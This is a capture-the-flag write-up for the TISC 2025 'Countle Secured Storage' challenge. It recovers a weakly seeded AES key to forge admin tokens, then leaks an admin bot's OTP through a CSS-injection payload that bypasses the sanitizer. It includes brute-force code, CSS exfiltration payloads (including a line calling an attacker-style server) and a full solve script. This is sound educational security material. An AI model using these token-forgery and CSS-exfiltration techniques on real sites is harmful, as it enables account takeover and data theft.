Deep within Mount Countle, thousands of expert gophers have constructed what is believed to be an impenetrable vault for SPECTRE’s most classified secrets. Recent intel has revealed blueprints for an adjacent “admin_bot” service, but the inner workings of “Countle Secured Storage” remains shrouded in mystery. http://chals.tisc25.ctf.sg:23196 Attached files: countle-secured-storage.zip
This is a reversing/web challenge. The distributed file contains a backend component and an admin bot component. Let’s first play around with the site.
We can register a vault, specifying its vault ID, security key, vault description, and vault data. Successful registration redirects us to the vault profile page, where we can see the vault we have just created.
Here, the vault ID (@somevaultid
) and vault description is visible. The vault data is hidden and will only be revealed after we unlock the vault. This requires us to provide an OTP via a Countle game. It’s not clear how we can retrieve the OTP at this point.
There is no logout functionality, but we can create a new vault any time. We can also access another vault by entering the vault ID and the security key. This is essentially a username/password pair.
Without any other leads, let’s take a look at the server binary to figure out how it works. The backend binary is a non-stripped Golang Gin server. Reversing it is similar to Level 5, but this time there are a lot more endpoints. I’ll only explain the endpoints relevant to solving the challenge.
1
2
3
4
5
6
7
8
9
POST /api/register - creates a new vault
POST /api/login - login to an existing vault
GET /api/me - views profile data of current user
GET /api/profile/<username> - retrieves profile data of another user. also adds a view to their list of profile views.
GET /api/views - gets the list of profile views
GET /api/vault/unlock/request - initialize OTP
POST /api/vault/unlock/attempt - submit OTP (via Countle)
Firstly, when a new vault is registered at POST /api/register
, a corresponding admin account is created. This username of this admin account is admin_
concatenated with the user’s name. Only alphanumeric usernames are allowed so it is impossible to impersonate an admin account. The admin account’s password is a random string. Their vault secret is the flag.
Next, in order to read a vault’s secret, we must pass a two-layer OTP check. We can request the server to generate an OTP with GET /api/vault/unlock/request
. However, this OTP is never returned to the user. In order to pass the OTP check, we must submit the correct OTP to POST /api/vault/unlock/attempt
twice in a row. After every OTP submission (correct or wrong), the OTP is reset.
The OTP is a 4 digit number. In order to submit an OTP, we must create the OTP number by playing Countle. To those unfamiliar with the game, I recommend you try it out first. Otherwise, here are the essential rules: you are given a list of starting numbers and a target number. We must reach the target number by combining the starting numbers using basic arithmetic operations (plus minus times divide). Intermediate values generated by the operations can be used in subsequent operations. We can only use each number (starting and intermediate) once. In this case, the target for the Countle game is the OTP, but again, we do not know its value.
Another caveat is that the starting numbers for the Countle OTP are the same every time. In fact, these numbers are specially chosen so that any 4 digit number can be generated from them.
So, the challenge idea is: bypass authentication to login to admin account, then leak OTP from the server and solve the Countle game twice in order to retrieve the flag.
Authentication Bypass
This is the codeflow for authentication.
1
2
3
4
main_HandleLogin() / main_HandleRegister()
-> main_getToken()
-> main_encrypt(username)
-> AES_GCM(username, key=main_key, nonce=random bytes)
The username is encrypted using AES-GCM with key=main_key
. main_key
is generated in main_generateKey()
, which is called on server initialization. Here is the reconstructed code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func generateKey() [16]byte {
// Get FLAG environment variable
flag := os.Getenv("FLAG")
if flag == "" {
panic("FLAG environment variable not set")
}
// Convert flag to bytes and compute SHA1 hash
flagBytes := []byte(flag)
hash := sha1.Sum(flagBytes)
// Use first 8 bytes of hash as seed for random number generator
seed := binary.LittleEndian.Uint64(hash[:8])
// Create and seed the random number generator
rng := rand.New(rand.NewSource(int64(seed)))
// First loop: generate 256 random numbers (warming up the RNG)
for i := 0; i < 256; i++ {
rng.Int63()
}
// Second loop: generate 16 bytes for the key
var key [16]byte
for i := 0; i < 16; i++ {
key[i] = byte(rng.Int63())
}
return key
}
Looks pretty secure… In fact, what I have presented you so far is secure. However, the devious part of this challenge is in the sha1.Sum()
call. Let’s look at the disassembly:
1
2
3
4
5
6
7
8
9
10
.text:0000000000D9FFB3 mov rdi, rcx ; in
.text:0000000000D9FFB6 mov rcx, rbx ; in
.text:0000000000D9FFB9 mov rbx, rax ; _r0
.text:0000000000D9FFBC lea rax, [rsp+110h+d] ; d
.text:0000000000D9FFC1 call crypto_sha1__ptr_digest_Sum
.text:0000000000D9FFC6 cmp rcx, 8
.text:0000000000D9FFCA jb loc_DA0129
.text:0000000000D9FFD0 mov rcx, [rax]
.text:0000000000D9FFD3 hash = rax ; _slice_uint8_0
.text:0000000000D9FFD3 mov [rsp+110h+seed], rcx
I suspect even the most veteran of Go experts won’t be able to spot the vulnerability here. Let’s run through the code in gdb and place a breakpoint at the seed assignment after the sha1.sum()
call. We should expect to see the SHA1 hash of the flag in rcx
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(gdb) set environment FLAG=AABBCCDDEEFF
(gdb) b *0xD9FFD3
(gdb) r
...
$rax : 0x000000c0001d3d20 → 0x4444434342424141 ("AABBCCDD"?)
$rbx : 0x20
$rcx : 0x4444434342424141 ("AABBCCDD"?)
$rdx : 0xc
$rsp : 0x000000c0001d3cf0 → 0x000000c0001d3d58 → 0xefcdab8967452301
$rbp : 0x000000c0001d3df8 → 0x000000c0001d3e18 → 0x000000c0001d3f40 → 0x000000c0001d3fd0 → 0x0000000000000000
$rsi : 0x000000c0001d3c4c → 0x0d4b6b5eeea339da
$rdi : 0x000000c0001d3d2c → 0x0d4b6b5eeea339da
$rip : 0x0000000000d9ffd3 → <main[generateKey]+00d3> mov QWORD PTR [rsp+0x60], rcx
$r8 : 0x40
$r9 : 0xf436ac5
$r10 : 0x200080
$r11 : 0x67452301
$r12 : 0xefcdab89
$r13 : 0x98badcfe
$r14 : 0x000000c000002380 → 0x000000c0001d2000 → 0x000000c0001d4000 → 0x0000000000000000
$r15 : 0xc3d2e1f0
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────
0xd9ffc6 <main[generateKey]+00c6> cmp rcx, 0x8
0xd9ffca <main[generateKey]+00ca> jb 0xda0129 <main.generateKey+553>
0xd9ffd0 <main[generateKey]+00d0> mov rcx, QWORD PTR [rax]
→ 0xd9ffd3 <main[generateKey]+00d3> mov QWORD PTR [rsp+0x60], rcx
0xd9ffd8 <main[generateKey]+00d8> nop
0xd9ffd9 <main[generateKey]+00d9> nop
0xd9ffda <main[generateKey]+00da> lea rax, [rip+0x1725ff] # 0xf125e0
0xd9ffe1 <main[generateKey]+00e1> call 0x41a4a0 <runtime.newobject>
0xd9ffe6 <main[generateKey]+00e6> mov QWORD PTR [rsp+0x100], rax
But instead, we find that rcx
is the plaintext flag! The sha1.sum()
call was a no-op!
I didn’t figure out why that was the case during the CTF, but after talking to the challenge author jro, he kindly explained the setup to me. Let’s first look at the correct SHA1 usage.
1
hash := sha1.Sum([]byte(flag))
The challenge uses:
1
2
h := sha1.New()
hash := h.Sum([]byte(flag))
This is actually an incorrect usage of the SHA1 function. Looking at the documentation, New()
returns a hash.Hash
object. This interface includes the method:
1
2
3
4
type Hash interface {
// Sum appends the current hash to b and returns the resulting slice.
// It does not change the underlying hash state.
Sum(b []byte) []byte
As the comment states, this function does not change the underlying hash state, merely appending the hash to the supplied byte array. In the challenge’s usage, the newly initialized object has no current hash, so the result of the appending is just the flag itself! Coincidentally, the method name matches the correct method in the sha1
class, making this bug extremely difficult to spot!
I only found this bug after exhausting all possible avenues for traditional web vulnerabilities. I was convinced that there had to be a crypto flaw in order for an admin bypass to be possible. Since I was using IDA 9.1 (and not the more recent 9.2 which has improved Go support), my decompilation wasn’t great so I suspected that the decompilation may be missing something. Thus, I decided to try and recreate the crypto algorithms to verify my understanding. I ran the server locally with a dummy flag and tried to decrypt the bearer tokens it generated. When my decryption attempts failed, I started debugging the crypto code to figure out the discrepancies in the algorithms I replicated. Naturally, I began from the start of the crypto chain, which was the
main_key
generation algorithm.
Let’s recap what we have. We know that token = AES_GCM(username, key=main_key)
and here is the updated generateKey()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func generateKey() [16]byte {
flag := os.Getenv("FLAG")
flagBytes := []byte(flag)
seed := binary.LittleEndian.Uint64(flagBytes[:8])
rng := rand.New(rand.NewSource(int64(seed)))
for i := 0; i < 256; i++ {
rng.Int63()
}
var key [16]byte
for i := 0; i < 16; i++ {
key[i] = byte(rng.Int63())
}
return key
}
Only the first 8 bytes of the flag are used for the seed. We know the first 5 bytes of the flag is the prefix TISC{
so there are only 0x100 ** 3
possibilities for the seed. We can harvest a bearer token from the server and then brute-force all seed possibilities to attempt a decryption. If the decryption is successful, then we have found the key. With the key, we can generate tokens for any user, allowing us to authenticate as an admin without knowing its password.
Seed generation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package main
import (
"encoding/hex"
"fmt"
"math/rand"
"os"
"bufio"
)
func generateKey(seedParam int64) [16]byte {
// prefix = TISC{
seed := seedParam * 0x10000000000 + 0x7b43534954
rng := rand.New(rand.NewSource(int64(seed)))
for i := 0; i < 256; i++ {
rng.Int63()
}
var key [16]byte
for i := 0; i < 16; i++ {
key[15 - i] = byte(rng.Int63())
}
return key
}
func main() {
file, err := os.Create("keys.txt")
if err != nil {
fmt.Println("Error creating file:", err)
return
}
defer file.Close()
writer := bufio.NewWriter(file)
for b1 := 0x21; b1 <= 0x7e; b1++ {
for b2 := 0x21; b2 <= 0x7e; b2++ {
for b3 := 0x21; b3 <= 0x7e; b3++ {
num := (int64(b1) << 16) | (int64(b2) << 8) | int64(b3)
key := generateKey(num)
_, err := writer.WriteString(hex.EncodeToString(key[:]) + "\n")
if err != nil {
fmt.Println("Error writing to file:", err)
return
}
}
}
}
writer.Flush()
}
Decryption brute-force:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
NONCE_SIZE = 12 # GCM standard
TAG_SIZE = 16 # GCM tag length (for sanity checks)
def decrypt(token: bytes, key: bytes, aad: bytes | None = None) -> bytes:
"""
Expects token bytes in form: nonce || ciphertext||tag
Returns the decrypted plaintext bytes.
"""
if len(key) not in (16, 24, 32):
raise ValueError("AES key must be 16, 24, or 32 bytes")
if len(token) < NONCE_SIZE + TAG_SIZE:
raise ValueError("token must be of form <12 byte nonce><GCM encrypted data>")
nonce, ct = token[:NONCE_SIZE], token[NONCE_SIZE:]
return AESGCM(key).decrypt(nonce, ct, aad)
def validate_token(token_hex: str, key: bytes) -> str:
"""Hex-decodes, decrypts, and returns the original UTF-8 username."""
token = bytes.fromhex(token_hex)
plaintext = decrypt(token, key)
return plaintext.decode("utf-8")
with open("keys.txt", "r") as f:
done = False
for i, line in enumerate(f.readlines()):
if i % 1000 == 0:
print(f"{i=}")
key = line.strip()
t = "0xa6ac3d0c2b2924a739846e42a5af5a999075a0dc1d6f1adffb5b3065032fb5fd0c9a18"[2:]
try:
print(validate_token(t, bytes.fromhex(key)[::-1]))
print(f"{key=}")
done = True
except:
pass
if done:
break
OTP leak
Now, we just need to leak OTP in order to unlock the admin’s vault and get the flag. Let’s look at the two remaining endpoints that I haven’t introduced.
1
2
POST /api/vault/check - trigger admin_bot for current user
POST /api/update_style - update the color of the username on vault profile page
The check
endpoint triggers the admin bot, which is a typical XSS challenge Selenium worker. The bot visits the user’s vault’s OTP page and solve the OTP. The bot is supplied with the correct OTP directly by the server. Recall that the 7 initial numbers allow you to form any 4-digit number. The bot uses a DFS algorithm to form the OTP via Countle operations. The bot then plays the Countle game by executing those operations, but stops short at submitting the OTP. Our goal is to leak that OTP so that we can replay it.
The other endpoint is update_style
, where we can specify a CSS colour for our vault username. Here is how that colour ends up being used on the profile page:
1
2
3
4
5
6
7
8
children: [o.jsx("style", {
children: l.sanitizeCss(`
.vault-username {
color: ${n};
text-shadow: 0 0 10px ${n}40;
}
`.toLowerCase())
}), o.jsxs("div", {
The input is directly injected into a CSS component – this is a CSS injection vulnerability! A sanitizer sanitizeCss
is used but it doesn’t really hinder us. We’ll discuss bypassing it at the end.
CSS injection is a classic attack vector for leaking data. The idea is to use a payload like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
input[name="secret"][value^="a"] {
background: url(https://myserver.com?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://myserver.com?q=z)
}
This sends a different request to the attacker’s server depending on the value of a input field, leaking private data. While the CSP forbids requests to external sites, we can simply send requests to /api/profile/<username>
and use the access logs as an oracle.
The site actually serves CSP with
script-src: unsafe-inline
. However, this was a red herring as it is impossible to escalate from the CSS injection into JS execution. This turned out to be accidental by the author.
Recall that the OTP page looks like this:
The greyed out numbers have already been used once, so they cannot be used again.
Our exploit will aim to recreate the final OTP by tracking which operands and operators the bot clicks on. We can use selectors to identify each button and the :active
psuedo-class to track when they are clicked. If you are confused as to why we don’t use the specifiers to leak the final OTP value directly, it is because the operand values are stored as inner HTML and not HTML attributes, so we cannot use CSS to leak it.
Let’s take a look at the HTML on the OTP page, starting with the initial 7 operands.
1
2
3
4
5
6
7
8
9
<div class="source-cards">
<button class="number-card number-card--filled">4</button>
<button class="number-card number-card--filled number-card--2-chars">11</button>
<button class="number-card number-card--filled number-card--2-chars">34</button>
<button class="number-card number-card--filled number-card--4-chars">1007</button>
<button class="number-card number-card--filled">1</button>
<button class="number-card number-card--filled number-card--3-chars">152</button>
<button class="number-card number-card--filled">2</button>
</div>
From HTML attributes alone, the only thing distinguishing them are their different classes based on the number of digits in that number. There are two number-card--2-chars
classes for the 2-digit numbers, one number-card--3-chars
class for the 3-digit number, one number-card--4-chars
class for the 4-digit number, and three remaining buttons with none of those classes for the 1-digit numbers.
Since the CSS injection attack relies on attribute values, we have no way of distinguishing the three 1-digit numbers. Likewise, we cannot distinguish the two 2-digit numbers. This introduces some uncertainty as we have to guess the order of the 1-digit numbers and the 2-digit numbers. However, this is only 3! x 2! = 12
possible outcomes. In order to pass the OTP twice, we expect to have to try 12 ** 2 = 144
times, which is acceptable.
Here’s a concrete example of how we can track the clicks.
1
2
3
4
5
6
7
8
9
10
11
12
13
.source-cards > button:nth-of-type(1):is(.number-card--filled:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars)):active {
background: url(/someurl/a)
}
.source-cards > button:nth-of-type(1):is(.number-card--filled.number-card--2-chars):active {
background: url(/someurl/b)
}
.source-cards > button:nth-of-type(1):is(.number-card--filled.number-card--3-chars):active {
background: url(/someurl/c)
}
.source-cards > button:nth-of-type(1):is(.number-card--filled.number-card--4-chars):active {
background: url(/someurl/d)
}
/* ... */
The first specifier reads:
- From the element with class
source-cards
(this is the outer div to the initial operand buttons) - Pick the 1st button
- That has the class
.number-card--filled
but not.number-card--2-chars
or.number-card--3-chars
or.number-card--4-chars
(in other words, a 1-digit operand) - When it is active (i.e. the bot clicks on it)
- Set its background to the image from that URL (which sends a request to the URL)
Once again, we replace the external URLs with different dummy accounts at /api/profile/<username>
. This allows us to track when an initial operand is clicked, and also how many digits it has. The /api/views
oracle includes timestamps for profile visits, so we can recreate the sequence of operand clicks exactly.
In practice, we have to tweak this payload slightly to bypass the sanitizer. The sanitizer is a Javascript function with the following behaviour:
- Allows CSS payloads of up to 65536 characters
- Parses the CSS payload while tracking nesting
- Only a whitelisted set of CSS properties is allowed
- The at-rules whitelist is:
@media
,@keyframes
,@font-face
, and@import
background
andbackground-image
values containingurl(...)
must have a host offonts.googleapis.com
The background
sanitization prevents us from using that property. Instead, we choose the cursor
property, which is part of the whitelist. The cursor
property also supports URL. So, our payload will look like cursor: url('/api/profile/some_username_a'), pointer;
instead.
Moving on from the set of initial operands, we can do something similar for the operators (plus, minus, times, divide) and the intermediate operands (generated as the result of intermediate operations). We can use the same idea for intermediate operands, but not operators. This is because operators can be reused between operations. In other words, the bot may click an operator multiple times. However, the current payload will only send a single request to the background URL. After the first request, the browser caches the response, so subsequent activations of the button will not send that external request. This prevents us from recreating the entire sequence of operations.
Instead, we must bypass the caching. Looking through the CSS specification, we see that it supports a few ‘dynamic’ operations like keyframes, variables, and (only recently) if statements. The following payload works to send a request multiple times.
1
2
3
4
5
6
7
8
9
10
@keyframes helper2 {
0%, 100% {
cursor: if(style(--scheme: 1): url(/abc), pointer;);
}
}
button:active {
--scheme: 1;
animation: helper2 1s infinite;
}
This payload mostly passes the sanitizer, except for the --scheme
CSS variable declaration. The sanitizer treats the entire variable name as a CSS property. Since it is not part of the approved whitelist, the line is removed. To avoid this, we make use of the fact that the sanitizer does not sanitize properties within the approve at-rules.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (this.config.allowedAtRules.has(c)) {
n = true;
a += t + i;
}
// ...
if (n) {
// inside an at rules
if (r === 0) {
n = false;
}
// append property without checking
a += t + i;
} else if (r === 0) {
// not inside an at rules
const h = t
.split(";")
.filter((d) => d.trim() !== "")
.map((d) => {
const [m, ...g] = d.split(":");
const p = g.join(":").trim();
return this.sanitizeProperty(m.trim(), p);
})
.filter((d) => d !== "");
a += h.join(" ") + i;
}
So, we can simply shift the CSS variable declaration to within the keyframe.
Putting all this together, we can reconstruct the sequence of keypresses for all operands and operators (with some uncertainty as to the order of the initial operands). Simulating the operations locally, we can obtain the final OTP value that the bot created but did not submit. We can then submit it ourselves via POST /api/vault/unlock/attempt
. To get the flag, we need to solve two OTPs consecutively, which we expect to take 12 ** 2 = 144
attempts.
In fact, we can make some optimizations. While we do not know which of the 12 possibilities is the correct initial operand arrangement, we can eliminate some of these arrangements by simulating and checking constraints. Countle forbids negative numbers and remainders when dividing. The final value must also be 4 digits to qualify as an OTP. This allows us to reject initial operand arrangements that do not satisfy these constraints, reducing the average number of attempts needed.
I ran 10 solvers in parallel and got the flag in around ten minutes. There were very few players attempting this challenge at that point, so I knew I wouldn’t be slowing down the server too much with 10 solvers.
Flag: TISC{1t_w45_7h3_f1r57_g00gl3_r35ul7_f0r_c55_54n171z3r}
This challenge was the most fun this year – the Countle OTP is a very creative idea. The Go SHA1 trick is cool too, but it does feel a bit guessy. I’m not sure if there is a systematic way of finding it without stumbling across it during dynamic analysis.
Here is the final solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
from requests import *
import random,string
from requests_toolbelt import MultipartEncoder
import json
from datetime import datetime
from solveKey import gen_token
from copy import deepcopy
url = 'http://chals.tisc25.ctf.sg:23196'
s = Session()
def random_string(length: int):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def ppost(route, fields, extra_headers=None):
global url, s
boundary = '----WebKitFormBoundary' \
+ ''.join(random.sample(string.ascii_letters + string.digits, 16))
m = MultipartEncoder(fields=fields, boundary=boundary)
headers = {
"Connection": "keep-alive",
"Content-Type": m.content_type
}
if extra_headers is not None:
headers.update(extra_headers)
return s.post(url + route, headers=headers, data=m)
def gib_token(username):
return gen_token(username, bytes.fromhex("4410fd4cf3b82f5ef2904dba34d27f8f")[::-1])
username = "hello" + random_string(6)
print(f"Using {username=}")
fields = {
'username': username,
'password': "password",
"bio": "biotime",
"secret": "some secret"
}
r = ppost('/api/register', fields)
assert r.status_code == 200
token = json.loads(r.text)["token"]
token = gib_token("admin_" + username)
print(token)
r = s.get(url + "/api/me", headers={"Authorization": token})
assert r.status_code == 200
# init OTP
r = s.get(url + "/api/vault/unlock/request", headers={"Authorization": token})
assert r.status_code == 200
token = gib_token("admin_" + username)
def gen_source(data):
payload = ""
payloads = [
'.source-cards > button:nth-of-type({i}):is(.number-card--filled:not(.number-card--3-chars):not(.number-card--4-chars):not(.number-card--2-chars)):active {p} ',
'.source-cards > button:nth-of-type({i}):is(.number-card--filled.number-card--2-chars):active {p} ',
'.source-cards > button:nth-of-type({i}):is(.number-card--filled.number-card--3-chars):active {p} ',
'.source-cards > button:nth-of-type({i}):is(.number-card--filled.number-card--4-chars):active {p} '
]
for i in range(1, 7+1): # position
for j in range(4): # digit cnt
color = data[i-1][j]
p = f"{{cursor: url('{color}'), pointer;}}"
payload += payloads[j].format(i=i, p=p)
return payload
def gen_residues(data):
payload = ""
template = "div.board > div:not(.source-cards):not(.operators) > div:nth-of-type({i}) > button:nth-of-type(4):active {p} "
for i in range(1, len(data)+1): # nth result
color = data[i-1]
p = f"{{cursor: url('{color}'), pointer;}}"
payload += template.format(i=i, p=p)
return payload
def gen_ops(data):
payload = """
@keyframes helper {
0% {
--pwn-data1: 1;
--pwn-data2: 1;
--pwn-data3: 1;
--pwn-data4: 1;
}
}
body {
animation: helper 1s infinite steps(1);
}
"""
template = """
@keyframes helper{i} {{
0%, 100% {{
cursor: if(style(--pwn-data{i}: 1): url({url}), pointer;);
}}
}}
div.operators > button:nth-of-type({i}):active {{
animation: helper{i} 1s infinite;
}}
"""
for i in range(1, len(data)+1): # nth result
color = data[i-1]
payload += template.format(i=i, url=color)
return payload
dummy_tokens = [] # (username, token)
def prep_dummies(prefix, cnt):
global dummy_tokens
dummy_tokens = []
for i in range(cnt):
username = prefix + str(i)
fields = {
'username': username,
'password': "password",
"bio": "b",
"secret": "s"
}
r = ppost('/api/register', fields)
assert r.status_code == 200
token = json.loads(r.text)["token"]
dummy_tokens.append((username, token))
print(dummy_tokens[-1])
def track_dummies():
all_views = []
for i, dummy in enumerate(dummy_tokens):
token = dummy[1]
r = s.get(url + "/api/views", headers={"Authorization": token})
assert r.status_code == 200
views = json.loads(r.text)["views"]
if views is None:
views = []
views = list(map(lambda v: v["timestamp"], views))
all_views.append(views)
return all_views
def attempt(ops):
fields = {"operations": ops}
r = s.post(url + '/api/vault/unlock/attempt', headers={"Authorization": token}, json=fields)
with open("attempts.txt", "a+") as f:
print(r.text)
print(r.status_code)
f.write(r.text + "\n")
return r.status_code
def bot():
r = s.post(url + '/api/vault/check', headers={"Authorization": token})
print(r.text)
print(r.status_code)
def inject(payload):
fields = {"style_color": "#000000;} " + payload + "/*"}
r = ppost('/api/update_style', fields, {"Authorization": token})
print(r.text)
print(r.status_code)
def try_source_nums(records, source_nums) -> None:
source_nums = deepcopy(source_nums)
sources = [0] * 7
for i in range(7):
for j in range(4):
if len(records[i*4 + j]) > 0:
sources[i] = j + 1
break
print("Digit guess: ", sources)
for i in range(7):
if sources[i] != 0:
k = sources[i]
sources[i] = source_nums[k - 1][-1]
source_nums[k-1].pop()
source_nums = [x for xs in source_nums for x in xs]
for i in range(7):
if sources[i] == 0:
sources[i] = source_nums[-1]
source_nums.pop()
print("Number guess: ", sources)
number_clicks = []
for i in range(28):
if records[i]:
for rec in records[i]:
dt = datetime.strptime(rec, "%Y-%m-%dT%H:%M:%SZ")
unix_time = int(dt.timestamp())
number_clicks.append(("S", i//4, unix_time))
for i in range(28+4, 28+4+residue_max):
if records[i]:
idx = i - (28+4)
for rec in records[i]:
dt = datetime.strptime(rec, "%Y-%m-%dT%H:%M:%SZ")
unix_time = int(dt.timestamp())
number_clicks.append(("R", idx, unix_time))
number_clicks = sorted(number_clicks, key=lambda x: x[2])
print(number_clicks)
operations = []
for i in range(28, 28+4):
v = '+-*/'[i-28]
if records[i]:
for rec in records[i]:
dt = datetime.strptime(rec, "%Y-%m-%dT%H:%M:%SZ")
unix_time = int(dt.timestamp())
operations.append((v, unix_time))
operations = sorted(operations, key=lambda x: x[1])
print(operations)
residues = []
fail = False
ans = []
for i, op in enumerate(operations):
op = op[0]
t, idx, _ = number_clicks[i*2]
if t == "S":
a = sources[idx]
else:
a = residues[idx]
t, idx, _ = number_clicks[i*2+1]
if t == "S":
b = sources[idx]
else:
b = residues[idx]
print(f"{a}{op}{b}")
res = None
if op == '+':
op_name = "add"
res = a + b
elif op == "-":
op_name = "sub"
res = a - b
if res < 0:
fail = True
break
elif op == '*':
op_name = "mul"
res = a * b
else:
op_name = "div"
res = a // b
if res * b != a:
fail = True
break
residues.append(res)
ans.append({"op":op_name,"val1":a,"val2":b})
if fail or len(residues) == 0 or not (1000 <= residues[-1] and residues[-1] <= 9999):
return None
return ans
def guess(records):
ans = None
a=[
[1,2,4],
[1,4,2],
[2,4,1],
[2,1,4],
[4,1,2],
[4,2,1]
]
b=[
[11,34],
[34,11]
]
cnt = 0
source_nums = [
a[0], b[0], [152], [1007]
]
while ans is None and cnt < 12:
att = deepcopy(source_nums)
att[0] = deepcopy(a[cnt % 6])
att[1] = deepcopy(b[cnt % 2])
cnt += 1
tmp = try_source_nums(deepcopy(records), att)
if tmp is None:
continue
ans = tmp
return ans
residue_max = 10
dummy_cnt = 28 + 4 + residue_max
dummy_prefix = None
def solve():
global dummy_prefix
dummy_prefix = random_string(10)
print(f"creating {dummy_cnt} dummies")
prep_dummies(dummy_prefix, dummy_cnt)
print("done creating dummies")
source_dummies = []
for i in range(7):
source_dummies.append([])
for j in range(4):
dummy = dummy_tokens[i*4 + j]
source_dummies[-1].append("/api/profile/" + dummy[0])
ops_dummies = []
for i in range(4):
ops_dummies.append("/api/profile/" + dummy_tokens[28 + i][0])
residue_dummies = []
for i in range(residue_max):
residue_dummies.append("/api/profile/" + dummy_tokens[28 + 4 + i][0])
payload = gen_source(source_dummies) # 7 positions, 4 types of digit count
payload += gen_ops(ops_dummies) # 4 ops
payload += gen_residues(residue_dummies) # allow for up to <residue_max> residues (lol)
assert len(payload) < 65536
inject(payload)
bot()
records = track_dummies()
print(records)
ans = guess(records)
if ans is None:
print("Failed to guess")
return False
print("Making attempt...")
return attempt(ans) == 200
while True:
print("Trying to solve!")
res = solve()
if res:
res2 = solve()
if res2:
print("Win!")
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# solveKey.py
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
NONCE_SIZE = 12 # GCM standard
TAG_SIZE = 16 # GCM tag length (for sanity checks)
def encrypt(data: bytes, key: bytes, aad: bytes | None = None) -> bytes:
"""
Returns raw token bytes: nonce || ciphertext||tag
- data: plaintext bytes (e.g., username.encode())
- key: 16/24/32 bytes (AES-128/192/256). Your Go code uses 16.
- aad: optional associated data (None in your current scheme)
"""
if len(key) not in (16, 24, 32):
raise ValueError("AES key must be 16, 24, or 32 bytes")
nonce = os.urandom(NONCE_SIZE)
ct = AESGCM(key).encrypt(nonce, data, aad) # ciphertext + 16-byte tag
return nonce + ct
def gen_token(username: str, key: bytes) -> str:
"""Encrypts the UTF-8 username and returns a hex string."""
return encrypt(username.encode("utf-8"), key).hex()